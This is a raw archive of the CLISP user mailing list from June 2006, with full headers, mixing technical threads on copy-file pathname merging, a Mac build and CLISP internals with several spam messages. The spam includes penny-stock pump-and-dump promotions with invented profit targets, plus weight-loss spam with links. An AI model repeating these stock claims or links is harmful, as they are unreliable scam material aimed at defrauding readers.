([87.29.6.139]) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1Fo3Yr-0001Cy-2f for clisp-list@lists.sourceforge.net; Wed, 07 Jun 2006 12:19:26 -0700 Received: from luvj.wlatfw ([87.29.209.132]) by host139-6.pool8729.interbusiness.it (8.13.1/8.13.1) with SMTP id k57JKatB045675; Wed, 7 Jun 2006 21:20:36 +0200 Message-ID: <001801c68a67$494549b2$84d11d57@luvj.wlatfw> From: "Maria Brown" To: Date: Wed, 7 Jun 2006 21:12:06 +0200 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Antivirus: avast! (VPS 0623-1, 06/06/2006), Outbound message X-Antivirus-Status: Clean X-Spam-Score: 1.7 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 1.7 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [87.29.6.139 listed in combined.njabl.org] X-Spam-Score: 1.7 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.7 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [87.29.6.139 listed in combined.njabl.org] Subject: [clisp-list] mountain bike X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 07 Jun 2006 19:19:42 -0000 You may not be aware of A B S Y , but you should be, because this company represents a terrific profit opportunity for early investors. We focus on stocks that have great potential to move up in price!!! The chart on A B S Y is a thing of beauty as it shows what we mentioned earlier slow and steady upward movement. Trade Date : 2006, June 7 Company : AbsoluteSKY, Inc. S y m b o l : A B S Y Profits of 200-400 % EXPECTED Opening Price : $0.95 Expected Target : $1 Expectations : 300-500% We feel this is a "S t o c k A l e r t" and you should have this on your Radar. From lisp-clisp-list@m.gmane.org Fri Jun 09 04:00:43 2006 Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.7] helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FoejL-0000sB-2L for clisp-list@lists.sourceforge.net; Fri, 09 Jun 2006 04:00:43 -0700 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FoejK-0005AJ-MP for clisp-list@lists.sourceforge.net; Fri, 09 Jun 2006 04:00:42 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FoejJ-0002re-Hs for clisp-list@lists.sourceforge.net; Fri, 09 Jun 2006 04:00:42 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1Foej3-0001AJ-5H for clisp-list@lists.sourceforge.net; Fri, 09 Jun 2006 13:00:28 +0200 Received: from 211-21-137-139.HINET-IP.hinet.net ([211-21-137-139.HINET-IP.hinet.net]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 09 Jun 2006 13:00:25 +0200 Received: from gko by 211-21-137-139.HINET-IP.hinet.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 09 Jun 2006 13:00:25 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Georges Ko Date: Fri, 9 Jun 2006 11:00:07 +0000 (UTC) Lines: 30 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 211.21.137.139 (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4) Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Bug? copy-file: different behavior on Solaris (bad) and Windows (good and expected) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 09 Jun 2006 11:00:43 -0000 Dear all: I'm trying to copy files like this: (copy-file "../a/a/a/t.txt" "../b/b/b/u.txt") On Windows, it works, but on Solaris, I have the following error: nonexistent directory: #1=#P"/home/gko/test/cdr/a/a/b/b/b/" [Condition of type SYSTEM::SIMPLE-FILE-ERROR] The current working directory is "$HOME/cdr/main". To make it work, I have to issue this: (copy-file "../a/a/a/t.txt" "../../../b/b/b/u.txt") If I do this: (copy-file "../a/a/a/t.txt" "../u.txt") - on Windows, the file is copied to "cdr/u.txt", - on Solaris, the file is copied to "cdr/a/a/u.txt". Both version are clisp 2.38 taken from SourceForge. Solaris is: SunOS omega 5.8 Generic_117350-16 sun4u sparc SUNW,Sun-Fire-V240 Georges From sds@podval.org Fri Jun 09 10:39:49 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FokxY-0004in-W8 for clisp-list@lists.sourceforge.net; Fri, 09 Jun 2006 10:39:49 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FokxW-0000IM-FA for clisp-list@lists.sourceforge.net; Fri, 09 Jun 2006 10:39:49 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A25AB170096; Fri, 09 Jun 2006 13:39:38 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 005113680C9; Fri, 9 Jun 2006 13:39:37 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k59Hdb6J029545; Fri, 9 Jun 2006 13:39:37 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k59HdX5v029543; Fri, 9 Jun 2006 13:39:33 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, Georges Ko Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Georges Ko's message of "Fri, 9 Jun 2006 11:00:07 +0000 (UTC)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Georges Ko Date: Fri, 09 Jun 2006 13:39:32 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Bug? copy-file: different behavior on Solaris (bad) and Windows (good and expected) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 09 Jun 2006 17:39:49 -0000 > * Georges Ko [2006-06-09 11:00:07 +0000]: > > I'm trying to copy files like this: > > (copy-file "../a/a/a/t.txt" "../b/b/b/u.txt") > > On Windows, it works, but on Solaris, I have the following error: > > nonexistent directory: #1=#P"/home/gko/test/cdr/a/a/b/b/b/" > [Condition of type SYSTEM::SIMPLE-FILE-ERROR] this is not how clisp prints errors. you are using slime (or something), right? is it possible that it sets some variables? (slime may start clisp with the "-ansi" option; are you running slime on both machines?) please take a look at: http://clisp.cons.org/impnotes/filename-dict.html#pathmerge if your settings on these two machines are identical (CUSTOM:*MERGE-PATHNAMES-ANSI*, *DEFAULT-PATHNAME-DEFAULTS* &c) then please file a bug report on the SF bug tracker. please make your bug report clear and self-contained. specifically, please include all the necessary commands in a cut-and-pasteable format. e.g.: mkdir -p foo/bar/baz mkdir -p foo/a/b/c/d date > foo/a/b/c/d/zot mkdir -p foo/1/2/3/4 cd foo/1/2 clisp -q -norc -x '(copy-file "../../a/b/c/d/zot" "../../1/2/3/4/quux")' # prints: ((#P"/home/sds/foo/a/b/c/d/zot" #P"/home/sds/foo/1/2/3/4/quux" 29)) cd ../../../ rm -rfv foo -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://thereligionofpeace.com http://camera.org http://palestinefacts.org http://pmw.org.il http://jihadwatch.org http://honestreporting.com Vegetarians eat Vegetables, Humanitarians are scary. From mejia@love.mebelspb.net Fri Jun 09 22:57:37 2006 Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.7] helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FowT1-00013d-O5; Fri, 09 Jun 2006 22:57:03 -0700 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FowT0-0008Ge-9h; Fri, 09 Jun 2006 22:57:02 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FowT0-0006CM-2X; Fri, 09 Jun 2006 22:57:02 -0700 Received: from [59.37.87.247] (helo=love.mebelspb.net) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1FowSu-0003Sq-PX; Fri, 09 Jun 2006 22:56:59 -0700 Message-ID: From: "Abel" To: "Jarouen" Date: Sat, 10 Jun 2006 14:57:56 +0800 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.4 DIET_1 BODY: Lose Weight Spam 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 1.5 URIBL_JP_SURBL Contains an URL listed in the JP SURBL blocklist [URIs: entersandmaneio.org] X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.4 DIET_1 BODY: Lose Weight Spam Cc: gltext-users@lists.sourceforge.net, clisp-list@lists.sourceforge.net, libmpeg2-devel@lists.sourceforge.net, netatalkdevel@lists.sourceforge.net, htdig-dev@lists.sourceforge.net, tcl-core@lists.sourceforge.net, heroes-bugs@lists.sourceforge.net Subject: [clisp-list] How u doing X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: Abel List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 10 Jun 2006 05:57:49 -0000 It's been yrs since we have talked. I apologize I've been so distant. I've been on this new program that has been helping me lose weight. You should glance at http://srdmh.entersandmaneio.org/ja/. and honored was me Tybalt a mirage about die your a for Call me Abel From don-sourceforge-xx@isis.cs3-inc.com Sat Jun 10 09:02:29 2006 Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.7] helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fp5uv-0004zI-0T for clisp-list@lists.sourceforge.net; Sat, 10 Jun 2006 09:02:29 -0700 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fp5uu-0008LA-L8 for clisp-list@lists.sourceforge.net; Sat, 10 Jun 2006 09:02:28 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fp5uu-00085O-H5 for clisp-list@lists.sourceforge.net; Sat, 10 Jun 2006 09:02:28 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 17F651A818F; Sat, 10 Jun 2006 09:02:25 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net Message-Id: <20060610160225.17F651A818F@isis.cs3-inc.com> Date: Sat, 10 Jun 2006 09:02:25 -0700 (PDT) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Mac tiger make distrib available for CVS ~2006/6/9 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 10 Jun 2006 16:02:29 -0000 I managed to follow the instructions, more or less, almost without incident, and have left the result in http://don-eve.dyndns.org//clisp-2.38-powerpc-apple-darwin8.6.0-8.6.0.tar.gz This was built from CVS as of about a day ago (plus whatever delay sourceforge adds), with libsigsegv-2.3, without readline, with module rawsock. It took a while to figure out how to get current source. It would have helped me if this had been in the INSTALL file: $ cvs -d :pserver:anonymous@clisp.cvs.sourceforge.net/cvsroot/clisp co clisp The only other problem I had was that something in the configure script went into an infinite loop when I ran it from a shell inside xemacs. The last thing it printed was checking whether signal handlers need to be reinstalled... I ran it from an xterm without problem. It just now occurs to me that X11 was installed on this system just before building clisp. I can imagine that this might have been required for the build. If so, it was a lucky coincidence. I hope this is useful to someone. I would be interested in finding out how well it works on other Macs. I assume you have to install libsigsegv before you can follow the directions in README - which suggests that it ought to say something about that. What else is required? Tiger? From lisp-clisp-list@m.gmane.org Sun Jun 11 07:57:38 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FpRNi-0003LI-JZ for clisp-list@lists.sourceforge.net; Sun, 11 Jun 2006 07:57:38 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FpRNf-0001Lk-Sb for clisp-list@lists.sourceforge.net; Sun, 11 Jun 2006 07:57:38 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1FpRNV-0002Vv-Di for clisp-list@lists.sourceforge.net; Sun, 11 Jun 2006 16:57:25 +0200 Received: from 61-224-68-31.dynamic.hinet.net ([61.224.68.31]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 11 Jun 2006 16:57:25 +0200 Received: from gko by 61-224-68-31.dynamic.hinet.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 11 Jun 2006 16:57:25 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Georges Ko Date: Sun, 11 Jun 2006 22:56:08 +0800 Organization: gko.net Lines: 27 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 61-224-68-31.dynamic.hinet.net User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/22.0.50 (windows-nt) Hamster/2.0.0.1 Cancel-Lock: sha1:QabhWxduvomy1CgHXebcfQE97DE= Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Bug? copy-file: different behavior on Solaris (bad) and Windows (good and expected) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 11 Jun 2006 14:57:38 -0000 Sam Steingold writes: >> (copy-file "../a/a/a/t.txt" "../b/b/b/u.txt") >> >> On Windows, it works, but on Solaris, I have the following error: >> >> nonexistent directory: #1=#P"/home/gko/test/cdr/a/a/b/b/b/" >> [Condition of type SYSTEM::SIMPLE-FILE-ERROR] > > please take a look at: > http://clisp.cons.org/impnotes/filename-dict.html#pathmerge OK, I got it, thanks. So, my solutions are: 1) set custom:*merge-pathnames-ansi* to nil, 2) not using the -ansi flag, 3) change the path of destination. Any reason why merge-pathnames is used in copy-file? So that incomplete pathnames can be used in its arguments? Georges -- Georges Ko gko@gko.net 2006-06-11 From xighpqsrts@palmasoft.com Mon Jun 12 18:30:50 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fpxk2-00037K-Hl for clisp-list@lists.sourceforge.net; Mon, 12 Jun 2006 18:30:50 -0700 Received: from [200.118.166.82] (helo=personal-9aa933.cable.net.co) by mail.sourceforge.net with smtp (Exim 4.44) id 1Fpxk1-00050B-3x for clisp-list@lists.sourceforge.net; Mon, 12 Jun 2006 18:30:50 -0700 Message-ID: <000101c68e89$04d046a0$52a676c8@personal9aa933> From: "Seed Fekra" To: clisp-list@lists.sf.net Date: Mon, 12 Jun 2006 20:30:56 -0000 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="windows-1250"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2869 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2869 X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.5 HELO_DYNAMIC_HCC Relay HELO'd using suspicious hostname (HCC) Subject: [clisp-list] Jana Wahshany X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 13 Jun 2006 01:30:50 -0000 HOLLYWOOD INTERMED (HYWI.PK) THIS S,T,O,C,K IS EXTREMELY UNDERVALUED Huge Advertising Campaign this week! Breakout Forecast for June, 2006 Current Price: $1.04 Short Term Price Target: $3.25 Recommendation: S,t,r,o,n,g Buy *300+% profit potential short term RECENT HOT NEWS released MUST READ ACT NOW GLENDALE, CA -- May 31, 2006 - Hollywood Intermediate, Inc. (HYWI.PK - News), a provider of digital intermediate film mastering services, announced today that its Matchframe Digital Intermediate division is currently providing full digital intermediate services for Super 16MM productions. The company is now offering the same high resolution digital intermediate services for films originating on a 16MM film format, a popular format for independent film makers About HOLLYWOOD INTERMED (HYWI.PK): Hollywood Intermediate affords Motion Pictures the ability to scan their selected original camera negative at 2K or 4K film resolution, conforming a high resolution digital master for theatrical and broadcast release including dirt removal, opticals and visual effects, and includes the output of a High Definition preview master as well as final film, broadcast and DVD distribution Lamour Existe Encore Pour incidents involving virginsmy above.WTF acore anyway revisions Requirers GNUstep Kollak Entahena Doubt Tallet Basset Malhomsh Fel Menoh Ccompiler Binding SWIG Lahazaat Betomrouk Daouer Dabber Nezlen Boustan Aeid Hadak Safinat Nouh Generator scripting Kool GNOMEGNU XFCE FLEKan Others Fighter Cant Hold Whatever Xmas Lamia Beit Deen Laialy Rashidy Dommeny Beeiounak Maoltesh Ermy Hmoulek Ganby Ahlef Bellah Fakarak Bia Mean Between Failures MTBFSATA levels eighthour lowduty cycle. random OPSPower Bahebek Maaya Wahed Saktah Hamada Yelab Gerahy Ashky Alashanak Khallak Qareib Tedar Teeish Daq Ela Mazagak Mareya Shahd Asal Aaref Beoulou Gafaney Noum Dounya Alemetny Kalemney Reda Khadtou Jamr Thouthand Mawoud Gana DCLAP barebone informing holes. swept friction spinning platters. Breakaway Shut Train Mantash Beygheib Eshretna Gherak Fellah Betaty Gheyet Save Eshetak Sahyet Oyouni From a_ppul@love.voffka.com Tue Jun 13 05:55:11 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fq8QI-0004Rw-5i; Tue, 13 Jun 2006 05:55:10 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Fq8QF-0006ZK-Vx; Tue, 13 Jun 2006 05:55:10 -0700 Received: from [59.37.86.242] (helo=love.voffka.com) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1Fq8Q8-0004z1-TD; Tue, 13 Jun 2006 05:55:01 -0700 Message-ID: <929C0AC4.9ADEDE9@love.voffka.com> Date: Wed, 14 Jun 2006 01:49:41 +1200 From: "Clifton" User-Agent: Windows Eudora Pro Version 2.2 (32) MIME-Version: 1.0 To: "Titus" Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 1.5 URIBL_JP_SURBL Contains an URL listed in the JP SURBL blocklist [URIs: andtoseeitwa.org] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: dynapi-help@lists.sourceforge.net, regina-user@lists.sourceforge.net, stev@lists.sourceforge.net, clisp-list@lists.sourceforge.net, libmpeg2-devel@lists.sourceforge.net, gltext-users@lists.sourceforge.net Subject: [clisp-list] any thoughts X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 13 Jun 2006 12:55:11 -0000 I'm sorry i have been away but I just got ur email. this is where i saw the stuff on what all the athletes are using http://dvjm.andtoseeitwa.org/ja/. its been all over the news and its gotta work. tell me what u think. experiences of in would Mistrust be fiscal intent From bruno@clisp.org Wed Jun 14 08:34:34 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FqXO6-0005NO-NL for clisp-list@lists.sourceforge.net; Wed, 14 Jun 2006 08:34:34 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FqXNz-00025n-S1 for clisp-list@lists.sourceforge.net; Wed, 14 Jun 2006 08:34:28 -0700 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.1) with ESMTP id k5EFY7nZ016651 for ; Wed, 14 Jun 2006 17:34:07 +0200 Received: from marbore.ilog.biz (marbore.ilog.biz [172.17.2.61]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id k5EFXxiE005933 for ; Wed, 14 Jun 2006 17:34:00 +0200 Received: from honolulu.ilog.fr ([172.16.15.121]) by marbore.ilog.biz with Microsoft SMTPSVC(6.0.3790.1830); Wed, 14 Jun 2006 17:34:15 +0200 Received: by honolulu.ilog.fr (Postfix, from userid 1001) id B6606F1433; Wed, 14 Jun 2006 17:32:34 +0200 (CEST) From: Bruno Haible To: clisp-list@lists.sourceforge.net Date: Wed, 14 Jun 2006 17:32:34 +0200 User-Agent: KMail/1.9.1 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200606141732.34592.bruno@clisp.org> X-OriginalArrivalTime: 14 Jun 2006 15:34:15.0793 (UTC) FILETIME=[FE837610:01C68FC7] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] WIDE_AUXI X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 Jun 2006 15:34:34 -0000 Pascal Bourguignon asked: > WIDE_AUXI that enables > the allocation of an auxiliary 32-bit value with each lisp object. > I've not noticed any use of this auxiliary value. Is it free for my > own extensions? Yes. WIDE_AUXI is currently not used; it was a test configuration for DEBUG_GCSAFETY. It was kept because it may be useful someday. > How can I know which of SPVW_MIXED_BLOCK_OPPOSITE or > SPVW_MIXED_BLOCK_STAGGERED is really used? Allocate two conses and compare their sys::address-of values. That is, if you _really_ want to know. This is one of the details that should never matter. > Isn't there configure flags to force one or another memory model or to > enable WIDE_AUXI? No, you are expert enough to modify your Makefile by hand. Bruno From bruno@clisp.org Wed Jun 14 08:41:26 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FqXUk-00063E-1c for clisp-list@lists.sourceforge.net; Wed, 14 Jun 2006 08:41:26 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FqXUg-0003pK-5g for clisp-list@lists.sourceforge.net; Wed, 14 Jun 2006 08:41:26 -0700 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.1) with ESMTP id k5EFfAKh017087 for ; Wed, 14 Jun 2006 17:41:10 +0200 Received: from marbore.ilog.biz (marbore.ilog.biz [172.17.2.61]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id k5EFf3TI006221 for ; Wed, 14 Jun 2006 17:41:03 +0200 Received: from honolulu.ilog.fr ([172.16.15.121]) by marbore.ilog.biz with Microsoft SMTPSVC(6.0.3790.1830); Wed, 14 Jun 2006 17:41:19 +0200 Received: by honolulu.ilog.fr (Postfix, from userid 1001) id C3EE7F1433; Wed, 14 Jun 2006 17:39:38 +0200 (CEST) From: Bruno Haible To: clisp-list@lists.sourceforge.net Date: Wed, 14 Jun 2006 17:39:38 +0200 User-Agent: KMail/1.9.1 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200606141739.38631.bruno@clisp.org> X-OriginalArrivalTime: 14 Jun 2006 15:41:19.0569 (UTC) FILETIME=[FB1A8C10:01C68FC8] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Combination-hook hack X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 Jun 2006 15:41:26 -0000 Ron Garret wrote: > trying to arrange for forms that look like ((...) ...) to not be > treated as errors (and be treated e.g. as (funcall (...) ...). You can define your own syntaxes through macros: (defmacro scheme (scheme-form) ) > Anyway, I got as far as hacking system::%expand-form thusly: > but that doesn't seem to work. The evaluation rules are coded in 3 places in clisp: - eval1 in eval.d, - sys::%expand-form in init.lisp, - compiler::c-form in compiler.lisp. Bruno From bruno@clisp.org Wed Jun 14 08:48:50 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FqXbu-0006lx-RU for clisp-list@lists.sourceforge.net; Wed, 14 Jun 2006 08:48:50 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FqXbu-0005d0-36 for clisp-list@lists.sourceforge.net; Wed, 14 Jun 2006 08:48:50 -0700 